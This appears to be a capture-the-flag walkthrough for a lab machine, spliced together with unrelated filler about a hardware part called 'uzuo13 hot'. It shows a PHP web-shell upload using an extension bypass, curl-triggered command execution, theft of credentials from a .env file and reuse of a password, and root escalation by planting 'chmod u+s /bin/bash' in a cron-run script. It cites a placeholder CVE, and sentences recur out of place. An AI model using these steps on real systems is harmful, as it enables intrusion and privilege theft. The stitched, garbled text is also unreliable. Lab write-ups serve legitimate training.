Hot — Uzuo13

Inside the admin panel, we find a functionality to update profile pictures or upload attachments.

Vulnerability Analysis: The application allows uploading images. By intercepting the request in Burp Suite, we can attempt to upload a PHP payload. However, there is server-side validation checking the MIME type and file extension.

If the machine utilizes a vulnerable version of a specific processing library (common in Laravel apps), we can exploit CVE-2023-XXXX (Image Trimming/Monolog/etc) or simply bypass the extension check.

Method: Rename payload to shell.php.png. Observation: If this fails, look for parameter manipulation in the upload path.

Once the shell is uploaded to /uploads/shell.php, we trigger it.

curl http://usage.htb/uploads/shell.php?cmd=id

We get RCE as www-data.

Stabilizing Shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'

Enumeration: We check the Laravel environment file:

cat /var/www/usage/.env

We find DB credentials:

We check if these credentials are reused for the system user dash (or xander depending on box version).

su dash
Password: D_B_P@ssw0rd!

Success.

We grab the user.txt flag from /home/dash/user.txt.

Now logged in as dash, we enumerate the system. uzuo13 hot

Internal Port Scanning / Services: We notice a service running internally or a scheduled task.

ps aux | grep root

Key Finding: We find a binary or script with special permissions.

Scenario A: Cronjob / Backup Script We inspect /var/spool/cron/crontabs or look at running processes. There is a script running as root that processes files in a directory we can write to.

Scenario B: Systemctl / Service If we have sudo -l permissions allowing us to restart a service, we can inject code.

The Exploit:

Alternatively: We find we can write to a configuration file that is read by a root cronjob. Inside the admin panel, we find a functionality

echo "chmod u+s /bin/bash" >> /opt/scripts/cron_config.py

Wait for the cron to execute.

Once we have root access (e.g., /bin/bash -p):

id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt

If you are determined to hunt one down, keep these verification steps in mind:

Machine Details:

For the engineers and spec-readers out there, here is what the aggregated data suggests about the uzuo13 hot:

Why this matters: The uzuo13 hot allows builders to push their systems harder without active cooling solutions, making it ideal for compact, fanless builds. We get RCE as www-data

Sources indicate that the original manufacturer has halted production of the "hot" revision. As stock levels at major distributors (Mouser, DigiKey, AliExpress) dropped to zero, the secondary market exploded. When an item becomes hard to find, the term "hot" transitions from a technical descriptor to a market reality.